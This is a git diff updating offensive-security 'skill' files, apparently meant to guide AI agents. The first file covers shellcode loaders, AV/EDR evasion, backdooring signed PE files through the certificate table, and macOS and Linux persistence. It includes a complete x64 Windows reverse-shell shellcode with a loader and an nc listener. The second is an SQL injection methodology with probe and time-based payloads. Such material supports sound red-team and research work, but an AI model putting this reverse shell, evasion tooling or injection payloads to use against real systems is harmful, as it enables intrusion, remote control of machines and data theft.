+- Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)
-### Loader Implementation
-
-#### Meet Shellcode Loader
-
-- Takes shellcode as input, verifies environment, injects it if all is good
-- Responsible for evading sandboxes, proxies, AV, EDR, and safely landing in a machine
-- Environment verification/keying, careful shellcode decryption
-- Ends its duties after injecting shellcode
-- Injection targets:
- - Self process
- - Other process
-- Vulnerable to automated-detonation/sandboxes
-- Loader might reside in:
- - Process tree
- - Process modules list
-- Recommended languages:
- - Rust (secure, but larger binaries can stand out)
- - Nim
- - Go (runtime signature easily flagged)
- - Zig (small, no runtime, clean FFI)
- - Carbon preview (experimental, minimal footprint)
-
-#### Allocation Phase
-
-- Linear, big enough R+X memory region options:
- - New memory region/section
- - Code caves
- - Stack, heap (after adjusting page permissions + disabling DEP)
- - Keep memory regions small/separate
-- Typical allocation techniques:
- - `VirtualAllocEx` / `NtAllocateVirtualMemory`
- - `ZwCreateSection` + `NtMapViewOfSection`
-- Best practice - avoid `RWX` allocations:
- 1. Allocate `RW`
- 2. Write shellcode
- 3. Use `VirtualProtectEx` to switch to `RX`
-
-#### Write Phase
-
-- Typical write techniques:
- - `WriteProcessMemory` / `NtWriteVirtualMemory`
- - `memcpy` to mapped section
- - Atom bombing (loud and unreliable)
-- Evasion strategies:
- - Prepend shellcode with dummy machine opcodes
- - Split shellcode into chunks and write in randomized order
- - Apply delays between consecutive writes
-
-#### Execute Phase
-
-- Most fragile step in the process:
- - New thread introduced, so EDR closely inspects starting point
- - EDR might check if starting function is in image-backed memory (e.g., `ntdll.dll`)
-- Typical execution techniques:
- - `CreateRemoteThread` / `ZwCreateThreadEx`
- - `NtSetContextThread`
- - `NtQueueApcThreadEx`
- - API function hooks / trampolines
-- Indirect shellcode execution via Windows API:
- - [FlavorTown](https://github.com/Wra7h/FlavorTown)
- - [AlternativeShellcodeExec](https://github.com/aahmad097/AlternativeShellcodeExec)
- - [ThreadLess](https://github.com/caueb/ThreadlessC)
-- Some EDRs might spoof Thread Execution Block or `ntdll.dll` to detect if the process is attempting to modify them
-
-### Exec/DLL to Shellcode Conversion
-
-- Embedding shellcode into a shellcode loader executable
-- Backdooring legitimate PE executables with shellcode
-- Tools for conversion:
- - [Donut](https://github.com/TheWover/donut/tree/master) - Converts PE files (EXE/DLL) to shellcode
- - [sRDI](https://github.com/monoxgas/sRDI) - Converts DLLs to position-independent shellcode
- - [Pe2shc](https://github.com/hasherezade/pe_to_shellcode) - Converts PE files to shellcode
- - [Amber](https://github.com/EgeBalci/amber) - Reflective PE packer/loader
-- Open-source shellcode loaders:
- - [ScareCrow](https://github.com/optiv/ScareCrow)
- - [NimPackt-v1](https://github.com/chvancooten/NimPackt-v1)
- - Polonium (APT implant; useful for studying advanced persistent techniques rather than as a generic open-source loader base)
- - [NullGate](https://github.com/specterops/NullGate) – indirect syscalls & junk-write sequencing
- - [Ghost](https://github.com/cryptomancer/ghost) – fiber spoofing & ETW patching
- - [ThreadlessInject](https://github.com/epi052/ThreadlessInject) – injection without new threads
- - Direct-syscall helpers (e.g., SysWhispers3, FreshyCalls) are now baseline requirements
- - [Ghost v3.2](https://github.com/cryptomancer/ghost/releases/tag/v3.2) – fiber spoofing & ETW patching
- - [ThreadlessInject v1.1](https://github.com/epi052/ThreadlessInject/releases/tag/v1.1) – injection without new threads
-- [ProtectMyTooling](https://github.com/mgeeky/ProtectMyTooling) - Tool to daisy-chain protections
-
-## Cross‑Platform Considerations
+---
-### Windows on ARM64 (WoA)
+## Shellcode Storage & Hiding
-- Snapdragon X Elite and Surface Pro 10 ship with WoA. Syscalls use `SVC 0` and the ARM64 table in `ntdll!KiServiceTableArm64`.
-- Pointer Authentication (PAC) signs the LR value; avoid stack pivots or re‑sign the new target with `PACIASP`.
-- Example loader: `examples/woa_loader.s`.
+| Location | Risk | Notes |
+|----------|------|-------|
+| Hardcoded in `.text` | Medium | Requires recompile; stored `RW/RO` |
+| PE Resources (`RCDATA`) | High | Most scanned by AV |
+| Extra PE section | Medium | Use second-to-last section |
+| Certificate Table | Low | Keeps signed PE signature intact |
+| Internet-hosted | Variable | [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) |
-### Linux 6.9+: eBPF Arena & BPF Tokens
+**Certificate Table technique** (recommended):
+- Pad Certificate Table with shellcode bytes; update PE headers
+- Backdoor only the loader DLL (e.g., `ffmpeg.dll` in `teams.exe`)
+- Main executable signature remains valid; only the DLL signature breaks
-- Kernel 6.9 introduces **BPF tokens** and a shared **BPF arena** (`BPF_MAP_TYPE_ARENA`) that can hold executable memory.
-- Hide shellcode chunks in an arena map and call them via `bpf_prog_run_pin_on_cpu`.
-- Demo: `examples/ebpf_arena_loader.c`.
+**Protection:** Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.
-### macOS Signed System Volume (SSV)
+> **Windows 11 24H2 note:** AMSI heap scanning is active. Allocate with `PAGE_NOACCESS`, decrypt in place, then switch to `PAGE_EXECUTE_READ` to avoid live-heap scans.
-- macOS 12+ seals the system partition; unsigned payloads can't live there.
-- Persistence flow:
- 1. Create a sealed‑system snapshot (`bless --mount … --create-snapshot`).
- 2. Mount snapshot read‑write, inject payload, resign with `kmutil`, and bless the new snapshot.
-- User space: use launch agents or dylib hijacks in `/Library/Apple/System/Library/Dyld/`.
+---
+
+## Evasion
-## Shellcode Storage & Hiding Techniques
+### Progressive Evasion Escalation
-### Storage Options
+1. Basic shellcode execution (baseline)
+2. Add XOR/AES encryption + obfuscation
+3. Direct syscalls to bypass userland hooks
+4. Remote process injection as last resort
-- **Hardcoded**:
- - Shellcode stored in code requires recompilation before use
- - Typically stored in `RW/RO` section
-- **PE Resources**:
- - Can use `RCDATA` binary blobs
- - Most extensively scanned by AV
-- **Additional PE Section**:
- - Stored in additional `R+X` section
- - Use second-to-last / N-to-last section
-- **Acquired from internet**:
- - Example tool: [CSharpShooter](https://github.com/mdsecactivebreach/SharpShooter)
-- **Certificate Table** (highly recommended):
- - Patch the PE file by padding Certificate Table with shellcode bytes and update PE headers
- - Example: Embed shellcode in `teams.exe`, backdoor `ffmpeg.dll` with shellcode-loader
- - Shellcode loader finds & loads shellcode inside memory
- - This keeps `teams.exe` signature intact and only breaks `ffmpeg.dll` signature
- - When `teams.exe` starts, it loads `ffmpeg.dll`, which in turn loads the shellcode from teams.exe's certificate table
-- **Legitimate PE backdoored** with shellcode & loader
+### Local vs Remote Injection
-### Protection Methods
+Remote injection is more detectable:
+- `CFG` / `CIG` enforcement
+- ETW Ti feeds
+- EDR call-stack back-tracing (`NtOpenProcess` invocation source)
+- More scrutinized steps: OpenProcess → Allocate → Write → Execute
-Shellcode should be protected using:
+**Defender bypass tools** ([DefenderBypass](https://github.com/hackmosphere/DefenderBypass)):
+- `myEncoder3.py` — XOR-encrypt binary shellcode
+- `InjectBasic.cpp` — basic C++ injector
+- `InjectCryptXOR.cpp` — XOR decrypt + inject
+- `InjectSyscall-LocalProcess.cpp` — direct syscalls, no suspicious IAT entries
+- `InjectSyscall-RemoteProcess.cpp` — remote process injection via direct syscalls
-- Compression (`LZMA`)
-- Encryption/encoding (`XOR32/RC4/AES`)
+---
-## Evasion Techniques
+## Cross-Platform Considerations
-### Progressive Evasion Techniques
+### Windows on ARM64 (WoA)
-For shellcode execution with increasing evasion capability:
+- Syscalls use `SVC 0` with ARM64 table in `ntdll!KiServiceTableArm64`
+- Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with `PACIASP`
-1. Begin with basic shellcode execution
-2. Add encryption/obfuscation
-3. Implement direct syscalls to bypass monitoring
-4. Move to remote process injection when needed
+### Linux 6.9+ (eBPF Arena)
-### Windows Defender Evasion
+- `BPF_MAP_TYPE_ARENA` maps can hold executable memory
+- Hide shellcode chunks in arena map, execute via `bpf_prog_run_pin_on_cpu`
-#### Shellcode Evasion Tools
+### macOS (Signed System Volume)
-- Available at [github.com/hackmosphere/DefenderBypass](https://github.com/hackmosphere/DefenderBypass):
- - **myEncoder3.py** - Transforms binary files to hex and applies XOR encryption
- - **InjectBasic.cpp** - Basic shellcode injector in C++
- - **InjectCryptXOR.cpp** - Adds XOR decryption for encrypted shellcode
- - **InjectSyscall-LocalProcess.cpp** - Uses direct syscalls to bypass userland hooks, removes suspicious functions from IAT
- - **InjectSyscall-RemoteProcess.cpp** - Injects shellcode into remote processes
- - Windows 11 version 24H2 introduces AMSI heap scanning; allocate with `PAGE_NOACCESS`, decrypt in place, then switch to `PAGE_EXECUTE_READ` to avoid live-heap scans
+- macOS 12+ seals the system partition; unsigned payloads cannot reside there
+- Userspace: launch agents, dylib hijacks in `/Library/Apple/System/Library/Dyld/`
+- Kernel persistence: create sealed snapshot, mount RW, inject, resign with `kmutil`, bless
-### Local vs Remote Injection
+---
-- Remote injection faces multiple technical challenges:
- - Enforced defenses (`CFG`, `CIG`)
- - Event tracing in Windows (`ETW`)
- - More closely monitored steps: open process handle, allocate, write, execute
-- Remote injection detection points:
- - ETW Ti feeds
- - EDR hooks and sensors
- - Back-tracing thread's call stack (was `NtOpenProcess` invoked from a trusted thread?)
+## DripLoader Technique
-## Advanced Implementations
+[github.com/xuanxuan0/DripLoader](https://github.com/xuanxuan0/DripLoader):
-### DripLoader Technique
+1. Reserve 64KB chunks with `NO_ACCESS`
+2. Allocate 4KB `RW` chunks within that pool
+3. Write shellcode in chunks in randomized order
+4. Re-protect to `RX`
+5. Overwrite prologue of `ntdll!RtlpWow64CtxFromAmd64` with JMP trampoline
+6. All calls via direct syscalls: `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtCreateThreadEx`
-- Code available at [github.com/xuanxuan0/DripLoader](https://github.com/xuanxuan0/DripLoader)
-- Implementation details:
- - Reserves enough 64KB big chunks with `NO_ACCESS`
- - Allocates chunks of `Read+Write` memory in that reserved pool, 4KB each
- - Writes shellcode in chunks in randomized order
- - Re-protects into `Read+Exec`
- - Overwrites prologue of `ntdll!RtlpWow64CtxFromAmd64` with a `JMP` trampoline to shellcode
- - Uses direct syscalls to call out to `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtCreateThreadEx`
+---
-## Practical Examples
+## Full x64 Reverse Shell Shellcode (Windows)
-### Reverse Shell Shellcode Implementation
+Complete Python/Keystone example implementing PEB walk → `GetProcAddress` → `LoadLibraryA` → Winsock connect → `CreateProcessA(cmd.exe)`:
```python
import ctypes, struct
@@ -386,109 +226,103 @@ CODE = (
" start: "
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
" find_kernel32: "
- " int3 ;" # Windbg, enable only on debugging
+ " int3 ;" # WinDbg breakpoint (disable for release)
" xor rcx, rcx ;"
- " mov rax, gs:[rcx + 0x60] ;" # RAX = &(PEB) [(FS:0x60)]
+ " mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
- " mov rsi, [rax + 0x20] ;" # RSI = PEB->Ldr.InMemoryOrderModuleList
+ " mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
- " mov rbx, [rax + 0x20] ;" # RBX = Kernel32 base address
- " mov r8, rbx ;" # Copy Kernel32 base address to R8 register
+ " mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
+ " mov r8, rbx ;"
# Parse Export Address Table
- " mov ebx, [rbx+0x3C] ;" # EBX = Kernel32 PE Signature (offset 0x3C)
- " add rbx, r8 ;" # RBX = kernel32 base address + defrerenced signature offset
+ " mov ebx, [rbx+0x3C] ;" # PE signature offset
+ " add rbx, r8 ;" # RBX = PE header
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
- " mov edx, [rbx+r12] ;" # export address table offset
- " add rdx, r8 ;" # RDX = kernel32.dll + RVA ExportTable = ExportTable Address
- " mov r10d, [rdx+0x14] ;" # Number of functions
+ " mov edx, [rbx+r12] ;" # EAT RVA
+ " add rdx, r8 ;" # RDX = EAT VA
+ " mov r10d, [rdx+0x14] ;" # NumberOfFunctions
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
- " add r11, r8 ;" # AddressOfNames VMA
-# Find GetProcAddress Name
+ " add r11, r8 ;" # AddressOfNames VA
+# Find GetProcAddress
" mov rcx, r10 ;"
" k32findfunction: "
- " jecxz functionfound ;" # Loop until we match 'GetProcAddress'
+ " jecxz functionfound ;"
" xor ebx,ebx ;"
- " mov ebx, [r11+4+rcx*4] ;" # EBX = RVA for first AddressOfName
- " add rbx, r8 ;" # RBX = Function name VMA
+ " mov ebx, [r11+4+rcx*4] ;" # Function name RVA
+ " add rbx, r8 ;" # Function name VA
" dec rcx ;"
- " mov rax, 0x41636f7250746547 ;" # GetProcA
- " cmp [rbx], rax ;" # Check if we found GetProcA
+ " mov rax, 0x41636f7250746547 ;" # 'GetProcA'
+ " cmp [rbx], rax ;"
" jnz k32findfunction ;"
# Get function address
" functionfound: "
" xor r11, r11 ;"
- " mov r11d, [rdx+0x24] ;"
+ " mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;"
" inc rcx ;"
- " mov r13w, [r11+rcx*2] ;" # AddressOfNameOrdinals + Counter. RCX = counter
+ " mov r13w, [r11+rcx*2] ;" # Ordinal
" xor r11, r11 ;"
- " mov r11d, [rdx+0x1c] ;"
- " add r11, r8 ;" # AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions
+ " mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
+ " add r11, r8 ;"
" mov eax, [r11+4+r13*4] ;"
- " add rax, r8 ;" # Add base address to function RVA
- " mov r14, rax ;" # GetProcAddress to R14
-# Resolve LoadLibraryA using GetProcAddress
+ " add rax, r8 ;" # GetProcAddress VA
+ " mov r14, rax ;" # R14 = GetProcAddress
+# Resolve LoadLibraryA
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
- " push rcx ;"
- " mov rdx, rsp ;" # LoadLibraryA into RDX
- " mov rcx, r8 ;" # Copy Kernel32 base address to RCX
+ " push rcx ;" # 'LoadLibraryA'
+ " mov rdx, rsp ;"
+ " mov rcx, r8 ;" # kernel32 base
" sub rsp, 0x30 ;"
- " call r14 ;" # Call GetProcessAddress
- " add rsp, 0x30 ;"
- " add rsp, 0x10 ;"
- " mov rsi, rax ;" # Save the address of loadlibrary in RSI
-# Call LoadLibraryA on WS2_32.DLL
+ " call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
+ " add rsp, 0x40 ;"
+ " mov rsi, rax ;" # RSI = LoadLibraryA
+# LoadLibrary("WS2_32.dll")
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
- " push rax ;"
+ " push rax ;" # 'WS2_32.dll'
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
- " call rsi ;" # Call LoadLibraryA
- " mov r15, rax ;"
- " add rsp, 0x30 ;"
- " add rsp, 0x10 ;"
-# Get WSAStartup Address
+ " call rsi ;" # LoadLibraryA("WS2_32.dll")
+ " mov r15, rax ;" # R15 = WS2_32 base
+ " add rsp, 0x40 ;"
+# WSAStartup
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
- " push rax ;"
- " mov rdx, rsp ;" # WSAStartup into RDX
- " mov rcx, r15 ;" # Copy WS2_32 base address to RCX
+ " push rax ;" # 'WSAStartup'
+ " mov rdx, rsp ;"
+ " mov rcx, r15 ;"
" sub rsp, 0x30 ;"
- " call r14 ;" # Call GetProcessAddress
- " add rsp, 0x30 ;"
- " add rsp, 0x10 ;"
- " mov r12, rax ;" # Save the address of WSAStartup in RSI
-# Call WSAStartup
+ " call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
+ " add rsp, 0x40 ;"
+ " mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
- " lea rdx,[rsp] ;" # lpWSAData [out]
- " mov cx,514 ;" # wVersionRequired
+ " lea rdx,[rsp] ;" # lpWSAData
+ " mov cx,514 ;" # wVersionRequired = 2.2
" sub rsp,88 ;"
- " call r12 ;" # Call WSAStartup
-# Lookup WSASocketA Address
+ " call r12 ;" # WSAStartup
+# WSASocketA — create socket
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
- " push rax ;"
- " mov rdx, rsp ;" # WSASocketA into RDX
- " mov rcx, r15 ;" # Copy WS2_32 base address to RCX
+ " push rax ;" # 'WSASocketA'
+ " mov rdx, rsp ;"
+ " mov rcx, r15 ;"
" sub rsp, 0x30 ;"
- " call r14 ;" # Call GetProcessAddress
- " add rsp, 0x30 ;"
- " add rsp, 0x10 ;"
- " mov r12, rax ;" # Save the address of WSASocketA in RSI
-# Create a socket with WSASocketA
+ " call r14 ;"
+ " add rsp, 0x40 ;"
+ " mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
@@ -503,42 +337,39 @@ CODE = (
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
- " call r12 ;"
- " mov r13, rax ;"
+ " call r12 ;" # WSASocketA
+ " mov r13, rax ;" # R13 = socket handle
" add rsp, 0x208 ;"
-# Lookup WSAConnect Address
+# WSAConnect — connect to C2
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
- " push rax ;" # WSAConnect
- " mov rdx, rsp ;" # WSAConnect into RDX
- " mov rcx, r15 ;" # Copy WS2_32 base address to RCX
+ " push rax ;" # 'WSAConnect'
+ " mov rdx, rsp ;"
+ " mov rcx, r15 ;"
" sub rsp, 0x30 ;"
- " call r14 ;" # Call GetProcessAddress
- " add rsp, 0x30 ;"
- " add rsp, 0x10 ;"
+ " call r14 ;"
+ " add rsp, 0x40 ;"
" mov r12, rax ;"
-# Call WSAConnect...
- " mov rcx, r13 ;" # Our socket handle as parameter 1
+ " mov rcx, r13 ;" # socket handle
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;" # AF_INET = 2
- " mov rax, 0xbb01 ;" # Port 443
+ " mov rax, 0xbb01 ;" # Port 443 (big-endian)
" mov [rsp+2], rax ;"
- " mov rax, 0x31061fac ;" # IP 172.31.6.49
+ " mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
- " mov r8, 0x16 ;"
+ " mov r8, 0x16 ;" # sizeof(sockaddr_in)
" xor r9,r9 ;"
- " push r9 ;" # NULL lpCallerData
- " push r9 ;" # NULL lpCallerData
- " push r9 ;" # NULL lpSQOS
- " sub rsp, 0x88 ;" # NULL lpSQOS
- " call r12 ;" # Call WSAConnect
-# Find CreateProcessA address in kernel32.dll
-# Lookup Kernel32 base address again...
+ " push r9 ;"
+ " push r9 ;"
+ " push r9 ;"
+ " sub rsp, 0x88 ;"
+ " call r12 ;" # WSAConnect
+# Re-locate kernel32 and resolve CreateProcessA
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
@@ -547,66 +378,63 @@ CODE = (
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
- " mov r8, rbx ;" # Copy Kernel32 base address to R8 register
-# Find address for CreateProcessA. Store in R12 (previously stored WSAConnect)
+ " mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
- " push rax ;" # CreateProcessA
+ " push rax ;" # 'CreateProcessA'
" mov rdx, rsp ;"
- " mov rcx, r8 ;" # Copy Kernel32 base address to RCX
+ " mov rcx, r8 ;"
" sub rsp, 0x30 ;"
- " call r14 ;" # Call GetProcessAddress
- " add rsp, 0x30 ;"
- " add rsp, 0x10 ;"
- " mov r12, rax ;"
-# Push cmd.exe string to stack
+ " call r14 ;"
+ " add rsp, 0x40 ;"
+ " mov r12, rax ;" # R12 = CreateProcessA
+# Push cmd.exe + build STARTUPINFOA
" mov rax, 0x6578652e646d63 ;"
- " push rax ;"
- " mov rcx, rsp ;" # RCX = lpApplicationName (cmd.exe)
-# STARTUPINFOA Structure
- " push r13 ;" # Push STDERROR
- " push r13 ;" # Push STDOUTPUT
- " push r13 ;" # Push STDINPUT
+ " push rax ;" # 'cmd.exe'
+ " mov rcx, rsp ;" # lpApplicationName
+ " push r13 ;" # hStdError = socket
+ " push r13 ;" # hStdOutput = socket
+ " push r13 ;" # hStdInput = socket
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
- " mov rax, 0x100 ;"
+ " mov rax, 0x100 ;" # STARTF_USESTDHANDLES
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
- " push rax ;" # dwXSize = NULL
- " push rax ;" # dwY = NULL
- " push rax ;" # dwX = NULL
- " push rax ;" # lpDesktop = NULL
- " push rax ;" # lpReserved = NULL
+ " push rax ;"
+ " push rax ;"
+ " push rax ;"
+ " push rax ;"
+ " push rax ;"
" mov rax, 0x68 ;"
- " push rax ;" # SizeOfStruct = 0x68
- " mov rdi,rsp ;" # Copy the Pointer to RDI
+ " push rax ;" # cb = 0x68
+ " mov rdi,rsp ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
- " mov rax, rsp ;" # Get current stack pointer
+ " mov rax, rsp ;"
" sub rax, 0x500 ;"
- " push rax ;" # ProcessInfo
- " push rdi ;" # StartupInfo = Pointer to STARTUPINFOA
+ " push rax ;" # lpProcessInformation
+ " push rdi ;" # lpStartupInfo
" xor rax, rax ;"
" push rax ;" # lpCurrentDirectory = NULL
" push rax ;" # lpEnvironment = NULL
" push rax ;"
" inc rax ;"
- " push rax ;" # bInheritHandles = 1
+ " push rax ;" # bInheritHandles = TRUE
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
- " push rax ;" # dwCreationFlags = NULL
+ " push rax ;" # dwCreationFlags = 0
" mov r8, rax ;" # lpThreadAttributes = NULL
" mov r9, rax ;" # lpProcessAttributes = NULL
- " mov rdx, rcx ;" # lpCommandLine = "cmd.exe" string
+ " mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
" mov rcx, rax ;" # lpApplicationName = NULL
- " call r12 ;" # Call CreateProcessA
+ " call r12 ;" # CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
@@ -621,36 +449,27 @@ shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
- ctypes.c_int,
- ctypes.c_int,
- ctypes.c_void_p,
- ctypes.c_int,
- ctypes.c_int,
- ctypes.POINTER(ctypes.c_int),
+ ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
+ ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
- ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)
+ ctypes.c_int(0), ctypes.c_int(len(shellcode)),
+ ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
-
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
-
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
-print("Shellcode located at address %s" % hex(ptr))
-input("...ENTER TO EXECUTE SHELLCODE...")
+print("Shellcode at %s" % hex(ptr))
+input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
- ctypes.c_int(0),
- ctypes.c_int(0),
- ctypes.c_void_p(ptr),
- ctypes.c_int(0),
- ctypes.c_int(0),
- ctypes.pointer(ctypes.c_int(0)),
+ ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
+ ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
```
-> [!TIP]
-> Windows 11 23H2 blocks outbound TCP 443/4444 to local subnets (only when Smart App Control policy is set to _Block_). Choose a non‑standard port or use a named‑pipe payload.
-
+> **Note:** Update IP (`0x31061fac`) and port (`0xbb01`) before use. Listener: `nc -nvlp 443`
+>
+> **Windows 11 23H2:** Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.
diff --git a/Skills/offensive-sqli/SKILL.md b/Skills/offensive-sqli/SKILL.md
index fba8506..82d6d6a 100644
--- a/Skills/offensive-sqli/SKILL.md
+++ b/Skills/offensive-sqli/SKILL.md
@@ -1,804 +1,356 @@
-# SKILL: SQL Injection
-
-## Metadata
-- **Skill Name**: sql-injection
-- **Folder**: offensive-sqli
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/sql-injection.md
-
-## Description
-SQL injection testing checklist: error-based, blind boolean/time-based, UNION-based, out-of-band, second-order SQLi, NoSQL injection, WAF bypass techniques, and SQLmap usage. Use for web app SQLi testing and bug bounty database injection discovery.
+---
+name: offensive-sqli
+description: "SQL injection testing skill for offensive security assessments and bug bounty hunting. Covers error-based, UNION-based, boolean/time-based blind, out-of-band, second-order, NoSQL, GraphQL, WebSocket, and JSON-operator SQLi. Includes WAF bypass techniques, database-specific exploitation (MySQL, MSSQL, PostgreSQL, Oracle), cloud-native attack paths, ORM CVE tracking, and SQLmap automation. Use when performing web application SQL injection testing, database enumeration, privilege escalation via SQLi, or assessing injection vectors in APIs and modern stacks."
+---
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`SQL injection, SQLi, error-based, blind SQLi, boolean SQLi, time-based SQLi, UNION injection, out-of-band, second-order SQLi, NoSQL injection, WAF bypass, sqlmap`
+# SQL Injection — Offensive Testing Methodology
-## Instructions for Claude
+## Quick Workflow
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
+1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
+2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
+3. Identify database type and enumerate schema
+4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
+5. Document findings and suggest remediation
---
-## Full Methodology
-
-# SQL Injection
+## Detection
-## Shortcut
+### Basic Probes — All Input Vectors
-- Map any of the application endpoints that takes in user input
-- Insert test payload into these locations to discover whether they're vulnerable to SQL injections. if the input isn't vulnerable to classic SQL injections, try inferential techniques instead.
-- Use different SQL injection queries to extract information from the database.
-- Escalate the issue, try to expand your foothold.
+```
+' " ; -- /* */ # ) ( + , \ %
+' OR '1'='1
+" OR "1"="1
+SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
+```
-## Mechanisms
+### Error-Based Detection
-SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in applications that dynamically construct SQL queries using user-supplied input. When successful, attackers can:
+Trigger syntax errors to reveal database type and query structure:
-- Bypass authentication
-- Access sensitive data
-- Modify database data
-- Execute administrative operations
-- Potentially achieve remote code execution
+```
+' '' ` " "" , % \
+```
-SQLi occurs when applications fail to properly validate, sanitize, or parameterize user input before incorporating it into SQL queries. The vulnerability exists in various forms:
+Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.
-### Types of SQL Injection
+### Boolean-Based Blind
-- **Error-based**: Extract data by forcing the database to generate error messages containing sensitive information
-- **Union-based**: Leverage the UNION operator to combine results from the original query with those from an injected query
-- **Boolean-based blind**: Infer information by observing whether query results differ based on injected Boolean conditions
-- **Time-based blind**: Deduce information by observing timing differences in responses when conditional time-delay functions are injected
-- **Out-of-band**: Extract data through alternative communication channels (DNS, HTTP requests)
-- **Second-order**: Occurs when user input is stored and later used unsafely in SQL queries
-- **Stored procedures**: Targeting vulnerable database stored procedures
-- **JSON‑based**: Abuse JSON operators/functions (->, ->>, JSON_EXTRACT, JSON_TABLE) to inject conditions or extract data where traditional syntax is filtered
-- **WebSocket-based**: SQL injection through WebSocket message payloads
-- **REST API Filter/Sort**: Injection via JSON filter and sort parameters that translate to SQL
-- **HTTP/2 Header Smuggling**: Bypassing WAFs via header manipulation before SQL payload delivery
+```sql
+' OR 1=1 --
+' OR 1=2 --
+' AND 1=1 --
+' AND 1=2 --
+```
-```mermaid
-graph TD
- SQLi[SQL Injection Types] --> InBand[In-band SQLi]
- SQLi --> Blind[Inferential/Blind SQLi]
- SQLi --> OutOfBand[Out-of-band SQLi]
+Observe response size/content differences between true and false conditions.
- InBand --> Error[Error-based]
- InBand --> Union[UNION-based]
+### Time-Based Blind
- Blind --> Boolean[Boolean-based]
- Blind --> Time[Time-based]
+```sql
+-- MySQL
+' OR SLEEP(5) --
+-- PostgreSQL
+' OR pg_sleep(5) --
+-- MSSQL
+' WAITFOR DELAY '0:0:5' --
+-- Oracle
+'; BEGIN DBMS_LOCK.SLEEP(5); END; --
+```
- OutOfBand --> DNS[DNS Exfiltration]
- OutOfBand --> HTTP[HTTP Requests]
+### JSON Operator Probes
- style SQLi fill:#b7b,stroke:#333,color:#333
- style InBand fill:#afd,stroke:#333,color:#333
- style Blind fill:#9f9,stroke:#333,color:#333
- style OutOfBand fill:#f99,stroke:#333,color:#333
+```sql
+-- MySQL
+id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
+-- PostgreSQL
+id=1 AND '{"a":1}'::jsonb ? 'a'
```
-### Database Targets
-
